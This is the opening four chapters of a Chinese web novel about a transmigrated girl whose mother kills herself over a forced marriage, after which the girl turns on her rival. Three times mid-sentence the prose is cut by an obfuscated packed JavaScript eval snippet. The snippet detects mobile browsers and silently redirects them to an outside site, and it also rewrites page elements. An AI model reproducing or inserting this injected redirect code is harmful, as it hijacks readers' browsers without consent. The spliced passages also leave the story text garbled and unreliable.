《拆穿男主的万种方法》 1. 第 1 章 七月下旬,一派生机绽放后的余热。 枝头芍药瓣被日头晒落了色,有些发旧。 蒋芙躺在家中地板上散凉,外衣褪下,只剩件抹胸单层襦裙,还要用团扇掀风。她动扇,圆润的肩头便也动,细嫩的皮肤润了汗,像被小丫鬟端在手里的奶羹。 袁氏步声踏踏迈过长廊,见唯一的女儿又躺在外面不成样子,忍不住抬腿踹了一脚:“像条米虫!不是躺在这里,就是躺在那里!你都及笄了!我看你在家中还能逍遥几天?” 蒋芙被踹不怒,反而调皮一笑,清脆叫了声“娘”便不理人,换了个角度继续躺。 袁氏横了她一眼:“娘最后问你一遍,你真不嫁闵儿?” 提起不高兴的事,蒋芙脸上的笑淡下去:“不嫁。” “那你爹无论给你安排什么亲事,你都认吗?” “认啊。” 袁氏恨她不争气,抖了抖臂,宽袖堆在肘上指她:“闵儿和你一同长大,脾气秉性都很好,又正经学过武,是个踏踏实实过日子的孩子,你嫁了他,以后会过上好日子的!” 蒋芙面无表情,油盐不进:“那也没有把好好的娘子嫁给家生子的道理,你们不要脸,我还要。” 袁氏叹了口气:“你这是什么话?娘怎么不要脸,娘只是怕这脸你爹不要了!想我袁家几代以前,何等的名门望族……” 蒋芙腻得听那些,捡起地上的外衫,背过身往房间走。 她知眼前情况不太妙。 ——她已及笄了,到了议婚的年纪。 蒋芙从几千年后而来,自然不会真心着急这些。但这不妨碍她忧虑所谓“父母之命”,如果爹娘把她许配给什么入不得眼的男人,成亲以后每天挨打挨骂,哭都没地方哭。 其他年纪相仿的女子都有自幼定好的亲事,蒋芙没有,头几年她爹连洛县的主簿都没当上,还在拖家带口地科考,靠她娘的嫁妆,一看就十分没前途的家庭,谁会上赶着接烂摊子。 即使有特例,也是人家女儿出色,譬如沈听南。家境贫寒算心志坚定的点缀,丝毫不妨碍她名满洛城,美名远播到长安去。求亲的人编名成册,比蒋家的家谱都厚。 而蒋芙什么都不会,亦没有一张动人的脸,出嫁就成了麻烦的事。 母亲担心得不无道理,近来蒋父总带着一身酒气回来,问他去了哪,和谁去又不说,神神秘秘地笑完便睡。 张闵说她是好事将近。 鬼知道是不是好事。好人哪会和她爹喝酒。 蒋芙“扑通”一声把自己摔在床榻里,头顶的帘帐晃晃悠悠,烘被子烧的香草气味一点点从身下透过,渗入鼻息。 她闭上眼,左眼皮止不住地跳。 应当是好事,左眼跳财,右眼跳灾。 * 这一睡便是第二日。 还没清醒,便被母亲捏了鼻头,骂她小猪。 “芙芙,快醒来吧,南儿来找你去郡公府办的赏荷筵宴呢。那么大的场子,许多郎君都在,你自己留意,选个可与你婚配的,省得你爹整天打卖你的主意。” 蒋芙听了这些话就烦,沈听南烦,筵宴烦,找郎君甚烦! “娘,不然我削发出家吧?起码能清净点。” 话音才落,露在外面的手臂便被掌风抽了一下,火辣辣的痛感转瞬即逝,人是彻底睡不着了。 “以后这种混账话不要说!你爹听见了,一定要拿家法处置你!” “知道了。”蒋芙不情不愿起身,看到床边母亲准备好的衣裙,水蓝襦衫旁摆着炎色半臂,衣料华贵,绣纹也没怎么见过。 她笑了,乱蓬蓬的青丝下,颊侧陷入两个酒窝:“新给我做的?” 袁氏用团扇敲了她额前一下:“看到你娘都没这么笑,看到新衣裳就笑!还真是你爹的女儿,见钱眼开。” 蒋芙捂着被敲的头,合不拢嘴,抱着衣裙光脚下床找镜子穿。 袁氏依旧半搭在榻上,含笑望着对镜上妆的女儿。 “南儿那孩子,虽有些小心思,却无伤大雅,你万不可与她生嫌隙。往后一段时间还要靠她带你去外头露面,让适龄郎君看到你的好,来家里求娶你。” 蒋芙往头顶盘了个单髻,嘴上分神回答:“我知道,我不是一直在忍她吗?” 袁氏笑道:“你忍她忍得人尽皆知,还算忍吗?” 蒋芙无言以对,插了几朵珠花在发间,拿起台前的青山团扇便走。 “我先去了!” 客室里,沈听南一身嫩黄色的齐胸衫裙,臂弯里搭着水绿披帛,闲坐喝茶。晨光从窗栏撒入,混杂着清新的枝叶味和女子的娇暖体香。 听到动静,窗前美人回头,仿佛花蕊摇曳:“芙芙,你好了?” 蒋芙顾及母亲的话,对她露出笑脸:“好了。让你久等,我们走吧!” 沈听南被她亲亲热热挽手,有一瞬的僵硬,便恢复自如。 蒋芙暗哂:真能装。 她和沈听南孽缘已久。 沈家和蒋家都是芝麻官出身,沈听南的爹是洛县的县丞,和蒋父是一个官署上值的同僚,两家住得也近,她们从小一起长大。这几年因为女儿才情出挑,沈家算是过起来了,和蒋家拉开差距,除小辈外几乎断了往来。常有各路达官贵人赏赐派下,单沈听南出行,就有一辆宫里赐下来的存兰马车。 蒋芙坐稳御赐马车,不着痕迹地打量一下,自忖除了那几处雕花,和普通马车没什么区别。 沈听南递了个细镯子给她,并把自己的手腕也露出来,笑得温婉:“你瞧,芙芙,我们是一对的。” 紫玉散香,兰花圆折,玉石磨出花瓣的样式到底雅致,蒋芙盯了几瞬,忍不住接在手里。 “戴上吧。” 她受了蛊惑,往手上套,结果尺寸不合,半路卡住。 在沈听南笑中带嘲的注视下,她木着脸使劲往里戴,却卡得更死,镯子别着指骨,卡在中央,上不去也下不来。 笑声到底出口了,只不过沈听南的笑就算讥讽,也别有柔美。 “是我不好,忘记把芙芙的尺寸说给工匠了,想来他们也不是故意的,只知兰花之雅,未知兰交之谊,以为两个镯子都要我来戴吧。” 蒋芙卡着镯子的手用力磕了一下车中备的小案,脸色黑得像锅底:“沈听南我干你娘!你就纯纯大傻逼!别以为我听不懂你说什么!” 沈听南作嫌弃状捏住鼻子:“粗鄙之语,闻之伤神数日,芙芙说了是否也会折寿?” “滚!我烦死你了!” 好不容易熬到下车,蒋芙左顾右盼找张闵。他是她的护卫,她出门他便在暗处护着她。 发觉她在寻,张闵墙角柳下抬头,草帽之后双眼静如古潭。 蒋芙提着裙摆跑去,绛紫披帛在身后飘荡。 “张闵!你不知道沈听南那个狗女人对我做了什么!” “小声些,我听见了。” 蒋芙怒瞪双眼:“你听见了还不上车帮我?我告诉你,就算你再怎么喜欢她,你也是卖身在我家的奴才!你要护着的人是我!” 张闵没答话,伸手,蒋芙默契把被卡住的手搭到他掌心。 她自小被母亲娇生惯养,虽家境窘迫,手却一点冷水都未沾过,光是卡了一会儿,皮肤就已磨出血痕。 张闵指尖无心擦过她的皮肤,落在雕兰玉镯上。 “这镯子摸起来很贵,要砸碎吗?” 蒋芙听到很贵,闷了一下:“不弄坏,能把它摘下来吗?我娘手纤细,说不定可以让她在家里戴,还挺好看的。” 张闵道:“我试试。” 他攥她手腕,指头修长,骨节分明。指尖摩挲,在她手上抹下温度,晃神的功夫,另一只手不知何时按上了镯子,往下大力一拉。 蒋芙痛极惨叫,好在镯子下来了。 她眼中泛着泪花,不停按揉着被镯子伤到的地方。 张闵刮她的眼泪,凝眉看了一眼,轻拭在衣襟。 “镯子给你,我就在此处,有事叫我。” 说着,他上了树,抱臂合目。 蒋芙原地收拾好情绪,揣着镯子往荷池入口处走。 因赏荷筵宴中有长安贵客,洛郡公府兵在外围把守,有帖子才能入内。 蒋芙走到前处,正被拦住。 “站住,出示请帖。” 蒋芙哪里有什么请帖,她对着看守行礼:“我陪同沈家娘子一起来的。” 看守上下打量她:“你是沈娘子的丫鬟?” 蒋芙猛地抬头瞪人,狗东西,说她是谁的丫鬟? “我是沈听南的……朋友!她拉我陪她来参加筵宴,不信你自己去找她问话!” “你如此泼蛮无礼,沈娘子怎会认你做友人?小小年纪,还不快快归家!我等拦下你这种滥竽充数之人不下数十个,都是好人家的小娘子,怎么为了公子岢,都变成无赖了?” “谁为了公子岢,他是哪根葱?你别胡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282504|151900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说八道!要不就放我进去,要不就把沈听南给我叫来!” 蒋芙发了脾气,惹出身后几声讥笑。 她窘得面红耳赤,又还在气头上,心里把沈听南恨了几百遍。 沈听南是故意的,故意骗她戴镯子,故意趁她找张闵的时候把她一个人扔在外面丢脸。 她就是欺负她,这么多年都只欺负她,偏偏大家看不出来,以为她有多么高洁美丽,不可亵渎。 “这人我认识,她是沈娘子的朋友不错,应是陪沈娘子一起来的。” 蒋芙回头,瞧见一身紫纱宫装的魏如因,心中陡然一沉,俯身行礼。 “民女拜见公主殿下。” 魏如因睨她一眼,淡淡道:“不必多礼,随我进来吧。” 蒋芙忐忑跟她身后。 这位公主是淑太妃的女儿,在长安位列老幺,颇为受宠。其人品性孤傲,独来独往,只认沈听南一个朋友。她一贯看不上蒋芙,也不知这回是怎么想的,肯露面帮她。 蒋芙出神思索,步子放慢,没有注意到公主殿下也放慢了脚步,不知何时走在她旁边。 她低音道:“跟着听南到处蹭席坐,我就知道这次落不下你。” 若是过去,蒋芙还能说是沈听南非要带她来。这次不行,她心虚,这次她确实是蹭着沈听南来的赏荷筵宴来挑夫婿的。 公主耳语:“别以为听南惯着你,每次都带你,你就真能出什么名。山鸡变不了凤凰,它在贵人面前只能变成一道菜。” 蒋芙轻道:“那沈听南是什么菜呢?” 魏如因脸色一变:“放肆!” 蒋芙立刻去跪,侍女们给她让出一圈空地,方便公主对她羞辱。 坏了事,回去以后肯定要被母亲说。 但是没关系,她爽到了。 不就是公主吗?有能耐当众杀了她啊。 沈听南的声音柔柔传来:“殿下!殿下!” 她将地上的蒋芙搀扶起来,一脸假惺惺的担忧:“不知芙芙犯了什么错,她与我一同长大,望殿下饶她一次!” 魏如因被她劝,神情转缓:“听南,亏你把此人当同簪之交,简直太傻了!这样一个只知道利用你、背后编排你的女子,不配待在你身边!” 蒋芙当众被劈头盖脸数落,早忍不了,如若魏如因不是公主,她一定要狠狠骂她! 沈听南抖着纤薄的身体,像是要哭:“芙芙为人嘴硬心软,无论殿下听她说了什么,都莫要往心里去……” 魏如因见她流泪,有些自责,也懒得管蒋芙的事,最后瞪她一眼,板着脸安慰沈听南两句,带着侍女走了。 她是公主,来洛城除了赏荷,自有他事。 人都离开,场景转换,看待蒋芙的眼神又换了一茬。 但女子们都有好的教养,只在背后笑笑。换成是她蒋芙看不惯谁,就不会这么简单,一定要连推带搡把人赶出去才罢休。 沈听南行事作风和她相投,只不过她为人死装,长袖善舞,不用出声,有人透彻她的意思,就会像狗一样替她办事。 蒋芙跟着沈听南到沿荷席上落座。今日等于白来一趟,她的出现为人讥笑,别说有男子赏识,不拒她于千里之外就不错了。 她撑着腮,望池中迎日开放的嫩荷。绿衣,粉面,不出多时,它也会熬成她家中的芍药。 说出家做尼姑不是玩笑话,她是真的有点想。出家就不用考虑嫁给谁,嫁得好不好的事了。 最好能带着她娘一起出家。 张闵随便吧,跟她那肥爹一起过日子,总得给他扔个人。 蒋芙走神的时候,席上静了一刹。 她鼻尖微动,嗅出了清冽降暑的兰香。 抬头,华服男子恰巧朝她看来,目若黑棋,顿也不顿收了回去。 沈听南附在她耳边:“如何?那便是公子岢。” 蒋芙对她犯恶心,故意唱反调:“不如何,你给老娘滚远点。” “我要嫁给他,你既然这么讨厌,以后我和他一起烦你。” “敢不敢说大声点?让大家都看看你是什么厚颜无耻的面目?” “你真不觉他貌美?” “不觉。” 其实是美的。 虽然不知道公子岢是哪家公子,但他的皮相的确无可挑剔。 肤白胜雪,唇如豆沙,明眸善睐,所有形容沈听南的词都可以搬去形容他。 也正是因此,蒋芙一看见他就恶心。 2. 第 2 章 日上正中,荷花败,宴正酣。 蒋芙想回家,问了沈听南不知多少遍,她都当听不见。 她就是想让她被别人讨厌久一点,嘲笑久一点。 她骂了她,她一定在心里记恨,然后在这边找回来。 真是城府极深,心眼极小的臭女人。 蒋芙只能喝茶发呆,思考怎么把镯子隐瞒来处送给母亲,心头突然泛起一阵诡异不知名的急跳。 她轻呼一声,脸色唰地惨白,捂住胸口。 沈听南回头,眼中有几分真切担忧:“怎么了?芙芙,你身体不舒服?” 蒋芙点头:“我不舒服,我先……” 崔元香捏着团扇遮脸而笑:“是真不舒服,还是看我们没人理你,自己知趣想走啦?” “滚吧你。”蒋芙随口骂了一句,站起身,有什么东西从她袖口滚落,掉在地上清脆一声。 雕兰镯子碎了。 蒋芙皱眉,越发觉得不祥。 “我回了!” 她才抬脚,便被崔元香拉住,后者指着地上的镯子:“这不是听南的手镯吗?她才在我家工匠那取走,就被你要去了?怪不得我怎么问去处,她都不说,蒋芙,你未免也太跋扈了吧?” 蒋芙甩她手:“我没要,是沈听南自己给我的,你放开我!” 崔元香练过武,她不松,她就甩不掉。 “蒋芙,你真是狼心狗肺,听南给你那么多好东西,她自己都舍不得用,到你这就成她非要给你的了?你知不知道喂狗,狗还能看家护院呢?” 蒋芙死活挣脱不了,脸都憋红了。 这在别人眼中,就是她被崔元香当众揭穿的心虚与窘迫。 “沈听南,让你看家护院的狗松手!” 崔元香脸色一沉:“你说谁是狗呢?” 蒋芙抬手给她一巴掌:“谁问我,谁就是狗!” 崔元香被打懵一瞬。 蒋芙力气很小,打人不痛。崔元香只是在震惊,震惊居然有人敢在这种场合打她的脸。她活这么大,自己爹娘都没打过她脸。 火气从心头升腾而出,她用了功法,三两下把蒋芙按在地上回了几个巴掌,打得蒋芙脸上红紫,渗出血迹,还要再打,听见沈听南的哀求声。 “阿香,你放了芙芙!你会把她打死的!” 蒋芙气极,往上抬了抬脸:“别听她的!打啊!继续打!打死我,你们就都开心了!都如意了!就在这!打死我!” 她还手反击,无力的巴掌落在崔元香脸上,又薅一把她的头发。 崔元香再次被激怒,全力与她厮打起来。 “这是发生了何事?” 一道干净温润的男声响起,隔开了人群,向纠缠在一起的两个女子走来。 他抬了抬手,身边人便领会了他的意思,将压在蒋芙身上挥掌的崔元香拉开。 幽暗的兰花气息又暗渡了过来。蒋芙掩饰落泪的动作,干呕了两声。 “此事因何而起?” 高高在上的,审视的声音。 沈听南擦拭眼泪,上前回话:“不过是小女儿口角,公子不必插手。” 蒋芙顶着肿脸,问那位公子岢:“敢问我能回家了吗?” 骆岢呼吸一窒。他生平第一次见这么狼狈的女子。 巴掌的血痕、发髻散落、披帛撕裂。 然而就算狼狈至此,她也有一双执拗有神的眼睛。 “……自然。” 蒋芙于是拍拍屁股离开,途径之处,旁人都给她让路。 沈听南追了上来:“芙芙,我和你……” 蒋芙加快脚步,连骂都不想骂她。 出了筵宴,她往高处看,在一处屋顶上找到了闲坐的张闵。 他像一只懒猫一样,眯着眼打瞌睡。 听到蒋芙呼唤,他抬起眼皮,飞身下来。见她脸上有伤,新衣服也被撕坏了,皱眉:“谁?” “崔元香!”蒋芙擦痛出来的眼泪,“之后再找她报仇,现在你背我回家,我心里很慌,必须现在见我娘一面!” “夫人?她怎么了?” 蒋芙已经在往他背上爬:“不知道!我总觉得有不好的事,也许到家一看就没什么事了,我想快点回家!” 张闵意会,不再多言,用了轻功步法带她往家的方向跑。 两侧的脸火辣辣的疼,她顾不上,紧紧抓着张闵的肩膀。 终于回到了府里,还没进去便听见哀嚎和男人的怒吼。 她家不大,只有三间房,一个小院子,一个走廊。家里闹出什么动静,街上听得一清二楚。 她从张闵背上下来,心道果然如此,奋力往家里跑。 母女连心,此刻蒋芙心里钝痛不止。 不要出事。 不要出事。 她向来不受命运眷顾,没什么好运气。她只求上天照顾她这一回。 “娘子,娘子你可算回来了!”袁氏的陪嫁丫鬟阿衿哭着上前来,“夫人撞柱自尽了!在屋里用参片吊着一口气!大夫说救不活了,你快快去见她最后一面!” 蒋芙听了双腿一软,踉跄着跑进屋里,一年见不到几次的爹正对着大夫发火,说是救不活夫人,贤婿饶不了他! 蒋芙跪到母亲榻前,还有些反应不过来哭。 早上母亲还好好的与她玩笑,就连现在,也只是像困倦睡着了而已。 她头上包了好大一块,渗出血迹。 怎么会撞柱呢? “娘……娘你醒醒,我回来了,芙芙回来了……” 母亲眼皮动了动,一点一点睁开眼,未语泪先落。 “娘…” “好芙芙……” “娘!”蒋芙大哭出声,攥着母亲的手。她的手越来越凉,连回握她的力气都没有。 “芙芙……不要听…你爹……让闵儿……带你走!” “闵儿……” 张闵也跪在袁氏榻前,不善言语,垂眸叩首。 “夫人。” “照顾芙芙……!” 参片从她口中滑落,人也翻了个眼皮,彻底断了气。 蒋芙痛哭,仰着脖子哭,不知哭了多久。 母亲的手在她手里变凉,变硬。 一股暖香靠近她,揽住她的肩膀。是沈听南的味道,她的声音也随之传来:“芙芙,节哀顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282505|151900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变……” 蒋芙忽然就振作起来。她不知哪找的力气,猛地起身,把沈听南推倒在地:“是你算计的我!是你!你这个恶毒的女人!” 沈听南被她吓了一跳,双眸无辜含泪:“不是我,我没想……” “别装了!这里有第三个人吗?我娘已经死了!” 蒋芙一点点复盘:“如果不是你非要带我去那个赏荷筵宴,我今天根本不会离家!你带我出去,设计我,陷害我,羞辱我,绊住我!不让我回家,不让我见我娘!你怎么……” 她浑身颤抖,恨意让她眼睛通红:“我到底哪里得罪过你?” “就算我对你不好,你离我远点不行吗?你非要在我身边气我!然后越来越恨我,最后还算计我娘,把她害死了……沈听南,咱们什么怨!什么仇啊!” 沈听南泪流了满脸,昏光里晶亮的一层:“芙芙,不是的,真的不是,我从来没想过要如此伤害你,今天的事只是巧合……” “够了!!我要杀了你!!!” 掐她脖子的手在半路被人拿住,紧接着整个人被从沈听南身上提了起来。 “蒋芙,你冷静点。” 蒋芙恨得咬破了嘴唇,血珠一颗一颗成流挂在齿间和颌上。 “好啊,我冷静,你放开我,张闵。” 张闵转向沈听南:“沈娘子,你看到了,我家娘子被丧母之痛冲昏了头脑,神志不清,你今日先回吧。” “多谢郎君……” 沈听南从地上爬起,心有余悸,她刚刚感受到了蒋芙的杀意。 走得老远,还能听见蒋芙的挣扎与痛骂。 “放开我!放开我张闵!你和沈听南这对狗男女!我做鬼都不会放过你们!!” 蒋芙又闹了许久,张闵干脆把她用绳子捆起来。 两人坐在袁氏卧房的一角,目送家里人将袁氏抬走。 蒋芙呆愣瞅着,蔫蔫问:“阿衿呢?为什么没来给我娘穿丧服?” 张闵起身片刻,回来告诉她:“阿衿被大人退给你舅舅家了。至于夫人,说是就地埋了,不办丧礼。” 蒋芙仰头,像是听不懂他在说什么,好半天才喊出声:“蒋文行到底要做什么?有没有良心?他当初科考是谁供他吃住,死心塌地跟着他?现在人死了,连丧礼都不给办?他就不怕我娘回来索他的命吗?” 喊完,缓了缓,她道:“我要杀了他!” 她挣扎着起身,但四肢都被捆着,站起来又重心不稳摔倒,还是张闵扶了她一下,才不至于摔痛。 “不要杀人,我没办法去狱中照顾你。” 蒋芙切齿骂他:“有病!你才神志不清!你才脑子进水进浆糊!给我松绑!快点给我松绑!我不用你照顾!我要杀人!” “我还没说完。” “你还有什么屁要放?” “夫人之所以自尽,是想劝大人不要把你嫁给金员外。” “金员外是谁?” “不知,我听说他年近半百,妻妾成群,每岁皆有年轻女子在家横死,你嫁过去,生死难知。”张闵顿了顿,“不过,我会保护你。” “滚!怎么死的不是你!!” 3. 第 3 章 蒋芙想娘,天黑了还在哭。 张闵在旁陪着,等到她差不多没有体力折腾,才把她松绑。 绳子断掉,她果然没再说什么杀人的话,只是默不作声抱着膝盖埋头,看上去很可怜。 张闵像儿时一样拍了拍她的背。 蒋芙呜咽出声,张手抱住了他。 偌大天地,俯仰一瞬。 她是异世之人,有自己的血脉至亲,但袁氏对她仍是最为重要的母亲。 是袁氏把她从婴儿照顾长大,百般呵护,什么苦都抢在前面吃。没有她,就没有今日的蒋芙。 蒋芙一直清楚这个家什么样,那个死爹什么样,娘这一生是为了谁在坚持。蒋家一点都不美好,不幸福,又穷又让她没面子,那些穿越小说里没有一个穿越者是这种不上不下的平庸待遇。 但曾经有娘,她可以对自己宽慰,起码她遇到的娘好。 现在唯一好的娘也没了,没有了娘,她往后余生都不会再幸福。 可是。 蒋芙无神睁着眼。 可是有人在幸福。 这世上不是没有人在过好日子,她娘死的时候,有人还在开开心心赏花。 凭什么呢? 凭什么她就要被许配给一个老头子做妾,而沈听南就能嫁给那个什么公子岢? 蒋芙抽了抽气,靠在张闵身上,脑内盘算。 她迟早要去见娘,但在那之前,她要让一些人不好过。 张闵见她不再哭了,便问:“想通了?” “嗯。” 他又拍了拍她的背,将她扶坐起来。 “我娘应该已经被埋了吧?” “要我替你挖出来吗?” “……闭嘴,别让我想杀你!” 虽然十个她也杀不了半个张闵。 “想吃什么?我给你弄。” “我什么都不想吃,但饿了,你随便做。” 蒋芙拉住他衣角叮嘱,“做素的。” 张闵颔首。 他离开后,蒋芙思量往后的去路。 首先这个亲事,她绝对不应。闹到现在这个地步,如果她乖乖去嫁了过去,谁来告慰娘的在天之灵? 她要让那个死爹付出代价,要让他把得到的所有好处都吐出去,还要让他永远无法翻身。 可是要怎么做,才能达成这个目的? 她没有大本事,也没有好容貌。 不过结亲这种事,也不一定非要处理复杂,只要对方不愿娶她,就算是成功了。 张闵端了碗面条进来,素,白花花几条,半片菜叶没放。 换做以往,蒋芙一口都不会吃。 但现在她是个没娘的孩子,不再有人照顾她的喜恶,有一口吃一口,只有在世上活得白白胖胖,才对得起娘。 蒋芙边吃边呕,到最后心力交瘁,借月光看张闵的脸。 “你长得周正,但一无是处。” “嗯。” “我也是。” 哪怕丑一点,还能作怪。她不丑不美,什么都做不成。 没办法做祸国的妖妃,没办法做倾城的美人。 又是一呕,镇定如张闵,也忍不住放下筷子,被她影响得剩了半碗面。 蒋芙瞪他,讥笑:“怎么,被我恶心到了?恶心就走呗,出门左拐就是沈府,沈听南在那住呢。” 张闵叹了口气。 蒋芙又是一笑,这笑很明朗,和之前的讥讽大有不同。 “我想到办法了。” “嗯?” “你会保我命吧?” 张闵顿了一下:“嗯。” 蒋芙又笑了,笑到最后,她沉默下去,眼泪啪嗒啪嗒滴进面碗里。 他们现在还在袁氏卧房,人去楼空,旧物仍在。 “芙芙。” 张闵擦她的眼泪,“别哭了。” 蒋芙道:“嗯。” 第二日,蒋芙被死爹禁止出行。 这并不能限制她,她想出去,张闵会帮她,但她觉得这样没意义。 她就这样一直挨到蒋父放值,过来探问她的情况。 蒋芙在房里乖巧喊爹爹。 “放女儿出去吧,女儿愿嫁。娘已经去了,女儿唯有爹爹一个亲人,爹爹想要做什么,女儿都会帮你的。” 蒋父大为动容:“还是我女儿懂事,懂得为爹爹分忧!” 蒋芙道:“爹爹能放我出去了吗?房间里好闷,女儿喘不过气。” 蒋父道:“哎呀,乖芙芙,眼看成亲的日子快到了,你老老实实在房里待嫁罢!觉得闷就开窗通风!你不是最怕热了吗?咱们家里幽静,外面街上那个暑气哦……” 蒋芙道:“正是将要出嫁,女儿才想多出去走走,和至交好友多聊聊,多出去玩玩。昨天因为母亲的事,我迁怒于听南,还没找她道歉。以后嫁出去,整日待在后院,再想出去就难了。” 她软声哀求:“爹爹,你就让我去吧。” 蒋父沉默,似乎打算这样放置她离开。 蒋芙心中冷笑,音色如常:“况且,听南知道我母亲去了,若是宣扬出去,我便要为母亲守丧,亲事在即,若给耽误了,夫家会不高兴的。这事又不能派个人去逼她保密,说错话惹人家不高兴,必定要变本加厉宣扬出去。” 蒋父深觉有理,忙道:“还是芙芙冰雪聪明,想得周到。爹爹这就把你放出来。原本担心你因为爹爹没给你娘办丧事恨爹,没想到,你是最能理解其中曲折的孩子。如果你娘和你一样,不那么鼠目寸光,咱家也不会落得这个地步……” 蒋芙听见锁头被打开的声音。紧接着,房门也被人从外面打开。 蒋父紧盯着她的表情,试图从中找出破绽。但是蒋芙只是乖巧平静,除却眼睛因过度流泪而红肿以外,并无异样。 他放下心,像个好父亲一样叮嘱:“事不宜迟,现在就去沈家找听南说说话吧,你都要出嫁了,多多和友人待在一处才是。” 蒋芙笑了一下:“不急,我先收拾收拾自己,怪脏的,沈家人见了还得以为出了什么大事。” 蒋父用袖子擦了擦头上的汗:“说的是啊。” 他对身后的管家道:“快去给小姐拿身好衣裳,姑爷送来不少,挑挑有没有合身的。” 蒋芙笑道:“多谢爹爹了。” 袁氏旧人全部被蒋父赶出府,如今的家里站了几个生面孔。蒋芙没有指使他们,自己去打了盆水洗脸漱口。 收拾好的时候,已经快要宵禁了。 蒋父还在院子里等她,眼底暗暗催促:“女儿啊,再不去,今天可就去不成了。” 蒋芙道:“女儿这就去了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282506|151900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 蒋父指了一个新来的丫鬟:“月桃,你去跟着娘子,别让她黑灯瞎火一个人走夜路害怕。” 月桃应声,走到蒋芙身后。 蒋芙瞥了一眼,此女子身量中等,走路带风,是习过武的。 她最后对蒋父笑了一下,带人往沈府的方向走。 蒋芙几年未踏足过沈家,上次来沈听南家里,还是小时候寻她玩的时候。后来大了,意识到她是假装带她玩,实际在以她取笑,就再没上赶着找过她。 通报的小厮惊讶于她的到来,跑了来回,带蒋芙去了沈听南的闺房。 开门的时候,沈听南正局促不安地站在屋子中央,美目里饱含歉疚。 “芙芙……” 蒋芙道:“张闵。” 张闵从屋顶跳了下来。 小厮瞪大眼睛:“你是何人!怎会……” 沈听南低头:“你要让他打我,就打我吧,是我……” 蒋芙道:“把这个丫鬟捆上,打包送进沈府柴房。” 月桃猝不及防被捆,练武十载,连还手之力都没有。她震惊地被蒋芙塞了窗台上擦灰的抹布进嘴里,然后抽了两下脸。 “为虎作伥,怎么打你都不冤枉。” 小厮懵懂带张闵找柴房,屋子里只剩下蒋芙和沈听南两个人。 沈听南不解她的来意,温柔询问:“芙芙,你这个时候来找我,还……还捆了人,是有什么事吗?” 蒋芙道:“我找你能有什么事?不就是为了借你的光,去参加能露脸的宴会吗?” 沈听南眼神闪烁一下:“你不要说这种话伤害自己,我清楚你不是那种人。” 蒋芙道:“我就是那种人,所以明天你就得带我去参加人很多的宴会,越多越好!” 沈听南攥紧了帕子:“这太过突然,我没有受邀,而且你娘她不是……” 蒋芙脸上笑意全无。 她冷冰冰道:“沈听南,你确定你要跟我提我娘?” “昨天是我迁怒于你,我娘的死错不在你,但是你绊住了我,没让我及时回家,如果我早一点回去,说不定就能阻止我娘自尽。” 她逼近一步:“沈听南,你害死了人,你要怎么赔我?” 沈听南后退几步,抵在桌案上:“我……我并非……” “如果我把昨日一切说出去,你说,崔元香会怎么看你,别人不信,但她从头到尾参与其中,品一品就知道你是什么用意了。有一个人见到了你的真面孔,就会有第二个人,第三个,第四个。到时候,你这大齐第一美人的称号,还能不能留住?你还有没有好前程?” 沈听南回手捡起绣盘里的剪刀,双眸发红指她。 蒋芙就那么直直地看着:“想杀我?张闵在,你就杀不了。他喜欢你不错,但是他永远不会为你杀我,说不定我反抗过头,直接把你杀了,他还能帮我埋土。” 剪刀惊惶落地,在地上弹得换了角度,卡在地板缝隙里。 蒋芙讥讽扯开嘴角,反客为主,走到床边检查卫生:“我今晚住你这,明天我就要去参加宴会,我不管你用什么方法,必须带我去,不然你就准备好一把火烧了你那美好前程吧。” 说完,她甩了鞋子,外衣也没脱就躺到沈听南的床上。 沈听南坐在地上哭了好久,最后认命地起身,去拿纸笔写信。 4. 第 4 章 蒋芙躺在床上合眼休息,在心里演练明天要做的事。 渐渐的,她睡着了。 烛台前,沈听南每一笔都格外用力,不知不觉字写出了戾气,只能团纸重写。 而把她逼到这个程度的罪魁祸首在床上安眠。 ……倒也没那么安。 蒋芙在哭,嘴唇颤动着张和,似乎在说些什么。 沈听南觉得是个反向抓取把柄的机会,悄无声息走到床边。 只听蒋芙说:“娘,你在哪?为什么不来我梦里?” 沈听南嘴里泛苦。 她轻轻把蒋芙垂落的手放回榻上,用被子盖住。 就听她的吧。 芙芙如今没了娘,总要恨点什么才能活下去。 不知她家中是何情况,以及,她今日所作所为是为了什么。 那个丫鬟,她此前没见过,看神情她们主仆之间也不相熟。 沈听南往砚台里又倒了些水磨墨,把给公主的信重新誊写一遍,装进信封里。 总之,蒋芙无非是想为那天赏荷筵宴上出的丑报仇。 这次她不会挣扎,她想看到什么,就让她看见。是她有错在先,应该还债。 蒋芙这样急的要求,换做别人是异想天开。 但不知怎的,她手中还真有一份邀请,都是皇亲贵胄,为了避免是非,本不想去。 现在,却要与公主说还是去了。 - 